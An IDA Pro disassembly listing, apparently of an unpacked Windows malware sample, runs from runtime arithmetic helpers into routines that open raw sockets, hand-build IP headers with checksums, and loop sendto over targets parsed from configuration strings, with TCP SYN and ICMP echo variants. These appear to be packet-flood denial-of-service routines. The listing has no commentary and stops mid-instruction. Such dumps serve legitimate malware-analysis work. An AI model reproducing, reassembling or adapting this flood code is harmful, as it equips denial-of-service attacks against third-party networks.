; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 25887EB1DB9A0A1F880BFF4FF21CEC79 ; --------------------------------------------------------------------------- ; File Name : u:\work\25887eb1db9a0a1f880bff4ff21cec79_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000167FA ( 92154.) ; Section size in file : 00016800 ( 92160.) ; Offset to raw data for section: 00000400 ; Flags 60000020: Text Executable Readable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing cmp cl, 40h jnb short loc_40101A cmp cl, 20h jnb short loc_401010 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_401010: ; CODE XREF: .text:00401008j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_40101A: ; CODE XREF: .text:00401003j xor eax, eax xor edx, edx retn ; --------------------------------------------------------------------------- align 10h cmp cl, 40h jnb short loc_40103B cmp cl, 20h jnb short loc_401030 shrd eax, edx, cl sar edx, cl retn ; --------------------------------------------------------------------------- loc_401030: ; CODE XREF: .text:00401028j mov eax, edx sar edx, 1Fh and cl, 1Fh sar eax, cl retn ; --------------------------------------------------------------------------- loc_40103B: ; CODE XREF: .text:00401023j sar edx, 1Fh mov eax, edx retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401050 proc near ; CODE XREF: sub_40CFAE+29p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_401072 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_4010B3 ; --------------------------------------------------------------------------- loc_401072: ; CODE XREF: sub_401050+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_401080: ; CODE XREF: sub_401050+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_401080 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_4010AE cmp edx, [esp+8+arg_4] ja short loc_4010AE jb short loc_4010AF cmp eax, [esp+8+arg_0] jbe short loc_4010AF loc_4010AE: ; CODE XREF: sub_401050+4Ej ; sub_401050+54j dec esi loc_4010AF: ; CODE XREF: sub_401050+56j ; sub_401050+5Cj xor edx, edx mov eax, esi loc_4010B3: ; CODE XREF: sub_401050+20j pop esi pop ebx retn 10h sub_401050 endp ; --------------------------------------------------------------------------- align 10h push edi push esi push ebx xor edi, edi mov eax, [esp+14h] or eax, eax jge short loc_4010E1 inc edi mov edx, [esp+10h] neg eax neg edx sbb eax, 0 mov [esp+14h], eax mov [esp+10h], edx loc_4010E1: ; CODE XREF: .text:004010CBj mov eax, [esp+1Ch] or eax, eax jge short loc_4010FD inc edi mov edx, [esp+18h] neg eax neg edx sbb eax, 0 mov [esp+1Ch], eax mov [esp+18h], edx loc_4010FD: ; CODE XREF: .text:004010E7j or eax, eax jnz short loc_401119 mov ecx, [esp+18h] mov eax, [esp+14h] xor edx, edx div ecx mov ebx, eax mov eax, [esp+10h] div ecx mov edx, ebx jmp short loc_40115A ; --------------------------------------------------------------------------- loc_401119: ; CODE XREF: .text:004010FFj mov ebx, eax mov ecx, [esp+18h] mov edx, [esp+14h] mov eax, [esp+10h] loc_401127: ; CODE XREF: .text:00401131j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_401127 div ecx mov esi, eax mul dword ptr [esp+1Ch] mov ecx, eax mov eax, [esp+18h] mul esi add edx, ecx jb short loc_401155 cmp edx, [esp+14h] ja short loc_401155 jb short loc_401156 cmp eax, [esp+10h] jbe short loc_401156 loc_401155: ; CODE XREF: .text:00401145j ; .text:0040114Bj dec esi loc_401156: ; CODE XREF: .text:0040114Dj ; .text:00401153j xor edx, edx mov eax, esi loc_40115A: ; CODE XREF: .text:00401117j dec edi jnz short loc_401164 neg edx neg eax sbb edx, 0 loc_401164: ; CODE XREF: .text:0040115Bj pop ebx pop esi pop edi retn 10h ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401170 proc near ; CODE XREF: sub_4070DD+Fp ; sub_40CFE7+20p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_401189 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_401189: ; CODE XREF: sub_401170+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_401170 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4011B0 proc near ; CODE XREF: sub_402624+8p ; sub_4080EA+8p ... arg_0 = byte ptr 4 cmp eax, 1000h jnb short loc_4011C5 neg eax add eax, esp add eax, 4 test [eax], eax xchg eax, esp mov eax, [eax] push eax retn ; --------------------------------------------------------------------------- loc_4011C5: ; CODE XREF: sub_4011B0+5j push ecx lea ecx, [esp+4+arg_0] loc_4011CA: ; CODE XREF: sub_4011B0+2Cj sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_4011CA sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_4011B0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4011ED proc near ; CODE XREF: sub_401219+1Bp arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call ds:dword_4181E8 mov [esi+2], ax pop esi retn 4 sub_4011ED endp ; =============== S U B R O U T I N E ======================================= sub_401202 proc near ; CODE XREF: sub_4021DE+Dp mov eax, ecx retn sub_401202 endp ; =============== S U B R O U T I N E ======================================= sub_401205 proc near ; CODE XREF: sub_401DEB+Ej ; sub_40444C+6Ep ... push esi mov esi, ecx mov ecx, [esi] test ecx, ecx jz short loc_401217 mov eax, [ecx] push 1 call dword ptr [eax] and dword ptr [esi], 0 loc_401217: ; CODE XREF: sub_401205+7j pop esi retn sub_401205 endp ; =============== S U B R O U T I N E ======================================= sub_401219 proc near ; CODE XREF: sub_40123F+12p ; sub_405E95+29p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] mov esi, ecx mov word ptr [esi], 2 call ds:dword_4181EC push [esp+4+arg_4] mov ecx, esi mov [esi+4], eax call sub_4011ED mov eax, esi pop esi retn 8 sub_401219 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40123F proc near ; CODE XREF: sub_401269+2Ap ; sub_4067A5+1Bp ... var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push esi push [ebp+arg_4] mov esi, ecx push [ebp+arg_0] lea ecx, [ebp+var_10] call sub_401219 push [ebp+arg_8] lea eax, [ebp+var_10] push eax mov ecx, esi call sub_40DFF7 pop esi leave retn 0Ch sub_40123F endp ; =============== S U B R O U T I N E ======================================= sub_401269 proc near ; CODE XREF: sub_4012B3+Dp ; sub_404AAE+6j arg_0 = dword ptr 4 arg_4 = word ptr 8 arg_8 = dword ptr 0Ch push esi push 0Ch call sub_40D0BB test eax, eax pop ecx jz short loc_401281 mov ecx, eax call sub_40DD7C mov esi, eax jmp short loc_401283 ; --------------------------------------------------------------------------- loc_401281: ; CODE XREF: sub_401269+Bj xor esi, esi loc_401283: ; CODE XREF: sub_401269+16j push [esp+4+arg_8] movzx eax, [esp+8+arg_4] push eax push [esp+0Ch+arg_0] mov ecx, esi call sub_40123F cmp eax, 1 jnz short loc_4012A1 mov eax, esi jmp short loc_4012AF ; --------------------------------------------------------------------------- loc_4012A1: ; CODE XREF: sub_401269+32j test esi, esi jz short loc_4012AD mov eax, [esi] push 1 mov ecx, esi call dword ptr [eax] loc_4012AD: ; CODE XREF: sub_401269+3Aj xor eax, eax loc_4012AF: ; CODE XREF: sub_401269+36j pop esi retn 0Ch sub_401269 endp ; =============== S U B R O U T I N E ======================================= sub_4012B3 proc near ; CODE XREF: sub_402624+29Fp ; sub_405675+106p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_401269 mov esi, eax test esi, esi jz short loc_4012E1 push 10h call sub_40D0BB test eax, eax pop ecx jz short loc_4012E1 push esi mov ecx, eax call sub_40D341 jmp short loc_4012E3 ; --------------------------------------------------------------------------- loc_4012E1: ; CODE XREF: sub_4012B3+16j ; sub_4012B3+22j xor eax, eax loc_4012E3: ; CODE XREF: sub_4012B3+2Cj pop esi retn 0Ch sub_4012B3 endp ; =============== S U B R O U T I N E ======================================= sub_4012E7 proc near ; CODE XREF: sub_40132C+13p ; sub_4070A6+19p ... arg_0 = dword ptr 4 xor eax, eax cmp [esp+arg_0], eax jz short locret_4012F9 push eax push [esp+4+arg_0] call sub_40DB5E locret_4012F9: ; CODE XREF: sub_4012E7+6j retn 4 sub_4012E7 endp ; =============== S U B R O U T I N E ======================================= sub_4012FC proc near ; CODE XREF: sub_401A43+7p ; sub_401A43+11p ... arg_0 = dword ptr 4 push esi xor eax, eax push eax push eax push [esp+0Ch+arg_0] mov esi, ecx push eax call ds:dword_4180A0 mov [esi], eax mov eax, esi pop esi retn 4 sub_4012FC endp ; =============== S U B R O U T I N E ======================================= sub_401316 proc near ; CODE XREF: sub_405675+1F4p arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] push dword ptr [ecx] call ds:dword_4180B0 neg eax sbb eax, eax inc eax retn 4 sub_401316 endp ; =============== S U B R O U T I N E ======================================= sub_40132C proc near ; CODE XREF: sub_405074+9Cp arg_0 = dword ptr 4 push esi mov esi, ecx push dword ptr [esi+4] call ds:dword_4180A8 push [esp+4+arg_0] lea ecx, [esi+28h] call sub_4012E7 push dword ptr [esi+4] call ds:dword_4180AC pop esi retn 4 sub_40132C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401351 proc near ; CODE XREF: sub_4017C3+30p var_5F4 = byte ptr -5F4h var_5EC = dword ptr -5ECh var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 5F4h push ebx push esi push edi xor esi, esi push esi push esi push esi push esi push 2 push 2 call ds:dword_4181DC push esi push esi mov ebx, eax lea eax, [ebp+var_4] push eax push 5F0h lea eax, [ebp+var_5F4] push eax push esi push esi push 4004747Fh push ebx call ds:dword_4181E0 mov eax, [ebp+var_4] push 4Ch xor edx, edx pop ecx div ecx cmp eax, esi jle short loc_4013BB lea ecx, [ebp+var_5F4] loc_4013A3: ; CODE XREF: sub_401351+68j mov edi, [ecx] mov edx, edi shr edx, 2 not edx and edx, edi test dl, 1 jnz short loc_4013C2 inc esi add ecx, 4Ch cmp esi, eax jl short loc_4013A3 loc_4013BB: ; CODE XREF: sub_401351+4Aj xor eax, eax loc_4013BD: ; CODE XREF: sub_401351+82j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4013C2: ; CODE XREF: sub_401351+60j push ebx call ds:dword_4181E4 imul esi, 4Ch mov eax, [ebp+esi+var_5EC] jmp short loc_4013BD sub_401351 endp ; =============== S U B R O U T I N E ======================================= sub_4013D5 proc near ; CODE XREF: sub_4017C3+18p ; sub_4017C3+29p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] xor eax, eax cmp byte ptr [esi], 3Ah push edi jz short loc_4013EF loc_4013E2: ; CODE XREF: sub_4013D5+18j cmp byte ptr [eax+esi], 0 jz short loc_4013EF inc eax cmp byte ptr [eax+esi], 3Ah jnz short loc_4013E2 loc_4013EF: ; CODE XREF: sub_4013D5+Bj ; sub_4013D5+11j lea edi, [eax+esi] inc eax push eax mov byte ptr [edi], 0 call sub_40CA18 pop ecx mov ecx, [esp+8+arg_4] push esi push eax mov [ecx], eax call ds:dword_4180B4 inc edi push edi call sub_40CE59 pop ecx mov ecx, [esp+8+arg_8] pop edi mov [ecx], eax xor eax, eax pop esi retn 0Ch sub_4013D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401420 proc near ; CODE XREF: sub_40150A+2Cp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push edi xor edi, edi cmp byte ptr [esi], 3Bh jz short loc_401440 loc_40142F: ; CODE XREF: sub_401420+1Aj cmp byte ptr [edi+esi], 0 jz short loc_40143C inc edi cmp byte ptr [edi+esi], 3Bh jnz short loc_40142F loc_40143C: ; CODE XREF: sub_401420+13j test edi, edi jnz short loc_401447 loc_401440: ; CODE XREF: sub_401420+Dj xor eax, eax jmp loc_401504 ; --------------------------------------------------------------------------- loc_401447: ; CODE XREF: sub_401420+1Ej push ebx push 10h mov byte ptr [edi+esi], 0 call sub_40CA18 inc edi push edi mov ebx, eax call sub_40CA18 pop ecx pop ecx push esi push eax mov [ebx], eax call ds:dword_4180B4 lea eax, [edi+esi] mov [ebp+arg_0], eax jmp short loc_401479 ; --------------------------------------------------------------------------- loc_401470: ; CODE XREF: sub_401420+5Cj cmp byte ptr [eax], 0 jz short loc_40147E inc edi lea eax, [edi+esi] loc_401479: ; CODE XREF: sub_401420+4Ej cmp byte ptr [eax], 3Bh jnz short loc_401470 loc_40147E: ; CODE XREF: sub_401420+53j mov eax, edi sub eax, [ebp+arg_0] mov byte ptr [edi+esi], 0 lea eax, [eax+esi+1] push eax call sub_40CA18 pop ecx push [ebp+arg_0] mov [ebx+4], eax push eax call ds:dword_4180B4 inc edi lea ecx, [edi+esi] mov al, [ecx] jmp short loc_4014AF ; --------------------------------------------------------------------------- loc_4014A7: ; CODE XREF: sub_401420+91j test al, al jz short loc_4014B3 inc edi mov al, [edi+esi] loc_4014AF: ; CODE XREF: sub_401420+85j cmp al, 3Bh jnz short loc_4014A7 loc_4014B3: ; CODE XREF: sub_401420+89j push ecx call sub_40CE59 test eax, eax pop ecx mov [ebx+8], eax jnz short loc_4014DD push dword ptr [ebx] call sub_40CCC5 push dword ptr [ebx+4] call sub_40CCC5 push ebx call sub_40CCC5 add esp, 0Ch xor eax, eax jmp short loc_401503 ; --------------------------------------------------------------------------- loc_4014DD: ; CODE XREF: sub_401420+9Fj inc edi lea eax, [edi+esi] mov ecx, eax jmp short loc_4014EE ; --------------------------------------------------------------------------- loc_4014E5: ; CODE XREF: sub_401420+D1j cmp byte ptr [eax], 0 jz short loc_4014F3 inc edi lea eax, [edi+esi] loc_4014EE: ; CODE XREF: sub_401420+C3j cmp byte ptr [eax], 3Bh jnz short loc_4014E5 loc_4014F3: ; CODE XREF: sub_401420+C8j push ecx mov byte ptr [edi+esi], 0 call sub_40CE59 mov [ebx+0Ch], eax pop ecx mov eax, ebx loc_401503: ; CODE XREF: sub_401420+BBj pop ebx loc_401504: ; CODE XREF: sub_401420+22j pop edi pop esi pop ebp retn 4 sub_401420 endp ; =============== S U B R O U T I N E ======================================= sub_40150A proc near ; CODE XREF: sub_401918+FBp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] push edi xor edi, edi test eax, eax jnz short loc_40151C loc_401518: ; CODE XREF: sub_40150A+1Bj xor eax, eax jmp short loc_40153E ; --------------------------------------------------------------------------- loc_40151C: ; CODE XREF: sub_40150A+Cj cmp byte ptr [eax], 0Ah jz short loc_401530 loc_401521: ; CODE XREF: sub_40150A+24j cmp byte ptr [eax+edi], 0 jz short loc_401518 inc edi mov edx, eax cmp byte ptr [edi+edx], 0Ah jnz short loc_401521 loc_401530: ; CODE XREF: sub_40150A+15j mov byte ptr [eax+edi], 0 push dword ptr [esi] call sub_401420 inc edi add [esi], edi loc_40153E: ; CODE XREF: sub_40150A+10j pop edi pop esi retn 4 sub_40150A endp ; =============== S U B R O U T I N E ======================================= sub_401543 proc near ; CODE XREF: sub_401592+49p ; sub_401621+65p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi xor esi, esi cmp ecx, 1 jle short loc_40156E lea eax, [ecx-2] shr eax, 1 inc eax mov edx, eax neg edx lea ecx, [ecx+edx*2] mov edx, [esp+4+arg_0] push edi loc_401561: ; CODE XREF: sub_401543+26j movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec eax jnz short loc_401561 pop edi jmp short loc_401572 ; --------------------------------------------------------------------------- loc_40156E: ; CODE XREF: sub_401543+Aj mov edx, [esp+4+arg_0] loc_401572: ; CODE XREF: sub_401543+29j test ecx, ecx jz short loc_40157B movzx eax, byte ptr [edx] add esi, eax loc_40157B: ; CODE XREF: sub_401543+31j movzx eax, si mov ecx, esi shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax pop esi retn 8 sub_401543 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401592 proc near ; CODE XREF: sub_401621+7Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi push 28h mov [ebp+var_4], ecx call sub_40CA18 mov esi, [ebp+arg_0] pop ecx push 7 pop ecx push [ebp+arg_4] mov ebx, eax add esi, 14h lea edi, [ebx+0Ch] rep movsd call ds:dword_4181E8 mov [ebx+0Ah], ax mov eax, [ebp+arg_0] mov ecx, [eax+0Ch] mov [ebx], ecx mov ecx, [eax+10h] mov [ebx+4], ecx mov al, [eax+9] mov ecx, [ebp+var_4] push 28h push ebx mov [ebx+9], al call sub_401543 push ebx movzx esi, ax call sub_40CCC5 pop ecx pop edi mov eax, esi pop esi pop ebx leave retn 8 sub_401592 endp ; =============== S U B R O U T I N E ======================================= sub_4015F3 proc near ; CODE XREF: sub_404F95+Cp ; sub_404FB3+15p push esi push edi mov esi, ecx push dword ptr [esi] call ds:dword_4180A8 lea ecx, [esi+18h] call sub_40B150 lea ecx, [esi+28h] call sub_40DB59 push dword ptr [esi+4] mov edi, ds:dword_4180A4 call edi push dword ptr [esi] call edi pop edi pop esi retn sub_4015F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401621 proc near ; CODE XREF: sub_4017C3+12Bp var_10 = word ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_0], 0 push ebx mov ebx, ecx jnz short loc_401637 xor eax, eax jmp loc_4016BE ; --------------------------------------------------------------------------- loc_401637: ; CODE XREF: sub_401621+Dj mov eax, [ebp+arg_C] push esi push [ebp+arg_8] mov esi, ds:dword_4181E8 mov [ebp+var_C], eax mov dword_421018, eax mov eax, [ebp+arg_4] mov [ebp+var_10], 2 mov dword_421014, eax call esi push [ebp+arg_10] mov word_42101C, ax call esi and word_421012, 0 push 14h mov esi, offset dword_421008 push esi mov ecx, ebx mov word_42101E, ax mov byte_421029, 2 call sub_401543 and word_42102C, 0 push 1Ch push esi mov ecx, ebx mov word_421012, ax call sub_401592 push 10h mov word_42102C, ax lea eax, [ebp+var_10] push eax push 0 push 30h push esi push [ebp+arg_0] call ds:dword_4181D8 pop esi loc_4016BE: ; CODE XREF: sub_401621+11j pop ebx leave retn 14h sub_401621 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4016C3 proc near ; CODE XREF: sub_4017C3+115p var_10 = word ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_0], 0 push ebx mov ebx, ecx jnz short loc_4016D6 xor eax, eax jmp short loc_401746 ; --------------------------------------------------------------------------- loc_4016D6: ; CODE XREF: sub_4016C3+Dj mov ecx, [ebp+arg_4] mov eax, [ebp+arg_C] and word_421042, 0 push esi push 14h mov dword_421044, ecx mov esi, offset dword_421038 push esi mov ecx, ebx mov [ebp+var_10], 2 mov [ebp+var_C], eax mov dword_421048, eax mov byte_42104C, 8 call sub_401543 and word_42104E, 0 push 28h push offset byte_42104C mov ecx, ebx mov word_421042, ax call sub_401543 push 10h mov word_42104E, ax lea eax, [ebp+var_10] push eax push 0 push 3Ch push esi push [ebp+arg_0] call ds:dword_4181D8 pop esi loc_401746: ; CODE XREF: sub_4016C3+11j pop ebx leave retn 14h sub_4016C3 endp ; =============== S U B R O U T I N E ======================================= sub_40174B proc near ; CODE XREF: sub_401A43+52p ; sub_401FB8+1Bp ... arg_0 = dword ptr 4 push esi push edi push 8 mov esi, ecx call sub_40D0BB pop ecx mov ecx, [esp+8+arg_0] mov [eax+4], ecx xor ecx, ecx lea edi, [esi+4] push edi push ecx push eax push offset sub_4151FE push ecx push ecx mov [eax], esi call ds:dword_4180BC mov [esi], eax mov eax, [edi] pop edi pop esi retn 4 sub_40174B endp ; =============== S U B R O U T I N E ======================================= sub_40177E proc near ; CODE XREF: sub_401918+BBp ; sub_416254+7Fp ... arg_0 = dword ptr 4 push esi push edi push 8 mov esi, ecx call sub_40D0BB pop ecx mov ecx, [esp+8+arg_0] lea edi, [esi+4] push edi push 4 push eax push offset sub_4151FE push 0 push 0 mov [eax], esi mov [eax+4], ecx call ds:dword_4180BC push 0FFFFFFF1h push eax mov [esi], eax call ds:dword_4180C4 push dword ptr [esi] call ds:dword_4180C0 mov eax, [edi] pop edi pop esi retn 4 sub_40177E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017C3 proc near ; DATA XREF: sub_401A43+35o var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h push esi mov esi, [ebp+arg_0] push edi lea eax, [ebp+var_C] push eax lea eax, [ebp+var_4] push eax push dword ptr [esi+4] mov edi, ecx call sub_4013D5 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_8] push eax push dword ptr [esi] mov ecx, edi call sub_4013D5 mov ecx, edi call sub_401351 push [ebp+var_8] mov [ebp+var_10], eax call ds:dword_4181CC push [ebp+var_4] mov [ebp+arg_0], eax mov eax, [esi+8] mov [ebp+var_20], eax call sub_40CCC5 push [ebp+var_8] call sub_40CCC5 push dword ptr [esi] call sub_40CCC5 push dword ptr [esi+4] call sub_40CCC5 push esi call sub_40CCC5 add esp, 14h push 0FFh push 3 push 2 call ds:dword_4181D0 cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jz loc_401912 lea ecx, [ebp+var_18] push 4 mov [ebp+var_1C], ecx lea ecx, [ebp+var_1C] push ecx push 2 xor esi, esi push 0 inc esi push eax mov [ebp+var_18], esi call ds:dword_4181D4 test eax, eax jnz loc_401912 cmp [ebp+arg_0], eax jz loc_401912 mov eax, [ebp+var_10] push ebx mov ebx, [ebp+var_C] push esi mov esi, ds:dword_4180B0 mov [ebp+var_4], eax jmp short loc_4018FD ; --------------------------------------------------------------------------- loc_401891: ; CODE XREF: sub_4017C3+143j push 1 push 0 push dword ptr [edi] call esi test eax, eax jz short loc_401908 cmp [ebp+var_C], 0 jnz short loc_4018B1 call ds:dword_4180CC mov ebx, eax and ebx, 0FFFFh loc_4018B1: ; CODE XREF: sub_4017C3+DEj cmp [ebp+var_10], 0 jnz short loc_4018C0 call ds:dword_4180CC mov [ebp+var_4], eax loc_4018C0: ; CODE XREF: sub_4017C3+F2j mov eax, [ebp+var_20] dec eax jz short loc_4018DF dec eax jnz short loc_4018F3 push [ebp+var_14] mov ecx, edi push [ebp+arg_0] push ebx push [ebp+var_4] push [ebp+var_8] call sub_4016C3 jmp short loc_4018F3 ; --------------------------------------------------------------------------- loc_4018DF: ; CODE XREF: sub_4017C3+101j push [ebp+var_14] mov ecx, edi push [ebp+arg_0] push ebx push [ebp+var_4] push [ebp+var_8] call sub_401621 loc_4018F3: ; CODE XREF: sub_4017C3+104j ; sub_4017C3+11Aj push 0Ah call ds:dword_4180C8 push 1 loc_4018FD: ; CODE XREF: sub_4017C3+CCj push 0 push dword ptr [edi+4] call esi test eax, eax jnz short loc_401891 loc_401908: ; CODE XREF: sub_4017C3+D8j push [ebp+var_8] call ds:dword_4181E4 pop ebx loc_401912: ; CODE XREF: sub_4017C3+87j ; sub_4017C3+ACj ... pop edi pop esi leave retn 4 sub_4017C3 endp ; =============== S U B R O U T I N E ======================================= sub_401918 proc near ; DATA XREF: sub_401A43+45o var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx push ebx push ebp push esi push edi mov ebx, ecx loc_401920: ; CODE XREF: sub_401918+11Cj mov edi, ds:dword_4180B0 push 1 push 0 push dword ptr [ebx] call edi test eax, eax jz loc_401A3A push 1 push 64h push dword ptr [ebx+4] call edi test eax, eax jz loc_401A2A mov eax, [ebx+28h] test eax, eax jz loc_401A2A mov [esp+18h+var_4], eax jmp loc_401A0C ; --------------------------------------------------------------------------- loc_40195B: ; CODE XREF: sub_401918+104j push 1 push 0 push dword ptr [ebx] call edi test eax, eax jz loc_401A22 and [esp+18h+var_8], 0 cmp dword ptr [esi+0Ch], 0 jle short loc_4019F4 loc_401976: ; CODE XREF: sub_401918+DAj push 1 push 0 push dword ptr [ebx] call edi test eax, eax jz short loc_4019F4 push 10h call sub_40CA18 push dword ptr [esi+4] mov edi, eax call sub_40CD83 inc eax push eax call sub_40CA18 mov [edi+4], eax push dword ptr [esi+4] push eax call sub_40CD8E push dword ptr [esi] call sub_40CD83 inc eax push eax call sub_40CA18 mov [edi], eax push dword ptr [esi] push eax call sub_40CD8E mov eax, [esi+0Ch] add esp, 24h mov [edi+0Ch], eax mov eax, [esi+8] lea ebp, [ebx+8] push edi mov ecx, ebp mov [edi+8], eax call sub_40177E push dword ptr [ebp+0] call ds:dword_4180A4 inc [esp+18h+var_8] mov eax, [esp+18h+var_8] cmp eax, [esi+0Ch] mov edi, ds:dword_4180B0 jl short loc_401976 loc_4019F4: ; CODE XREF: sub_401918+5Cj ; sub_401918+68j push dword ptr [esi+4] call sub_40CCC5 push dword ptr [esi] call sub_40CCC5 push esi call sub_40CCC5 add esp, 0Ch loc_401A0C: ; CODE XREF: sub_401918+3Ej lea eax, [esp+18h+var_4] push eax mov ecx, ebx call sub_40150A mov esi, eax test esi, esi jnz loc_40195B loc_401A22: ; CODE XREF: sub_401918+4Dj lea ecx, [ebx+28h] call sub_40DB00 loc_401A2A: ; CODE XREF: sub_401918+29j ; sub_401918+34j push 1 push 64h push dword ptr [ebx] call edi test eax, eax jnz loc_401920 loc_401A3A: ; CODE XREF: sub_401918+18j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn 4 sub_401918 endp ; =============== S U B R O U T I N E ======================================= sub_401A43 proc near ; CODE XREF: sub_405074+86p push ebx push esi push edi push 1 mov esi, ecx call sub_4012FC push 1 lea ecx, [esi+4] call sub_4012FC xor ebx, ebx mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+0Ch], ebx lea edi, [esi+18h] lea ecx, [esi+28h] mov [edi+0Ch], ebx mov [edi+8], ebx mov [edi+4], ebx call sub_40DB48 mov dword ptr [esi+14h], offset sub_4017C3 mov [esi+10h], esi mov [esi+0Ch], ebx push ebx mov ecx, edi mov dword ptr [edi+0Ch], offset sub_401918 mov [edi+8], esi mov [edi+4], ebx call sub_40174B pop edi mov eax, esi pop esi pop ebx retn sub_401A43 endp ; =============== S U B R O U T I N E ======================================= sub_401AA0 proc near ; CODE XREF: sub_402624+22Ap ; sub_402FCB+32p ... arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_40CD83 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_40DBA2 pop esi retn 4 sub_401AA0 endp ; =============== S U B R O U T I N E ======================================= sub_401ABD proc near ; CODE XREF: sub_409438+28p ; sub_409588+30p ... arg_0 = dword ptr 4 push [esp+arg_0] push dword ptr [ecx] call sub_40CD44 neg eax pop ecx sbb eax, eax pop ecx inc eax retn 4 sub_401ABD endp ; =============== S U B R O U T I N E ======================================= sub_401AD2 proc near ; CODE XREF: sub_401FF5+16p push esi mov esi, ecx lea ecx, [esi+4] call sub_40DB48 and dword ptr [esi+8], 0 mov eax, esi pop esi retn sub_401AD2 endp ; =============== S U B R O U T I N E ======================================= sub_401AE5 proc near ; CODE XREF: sub_40235F+47p ; sub_402400+84p ... push esi mov esi, 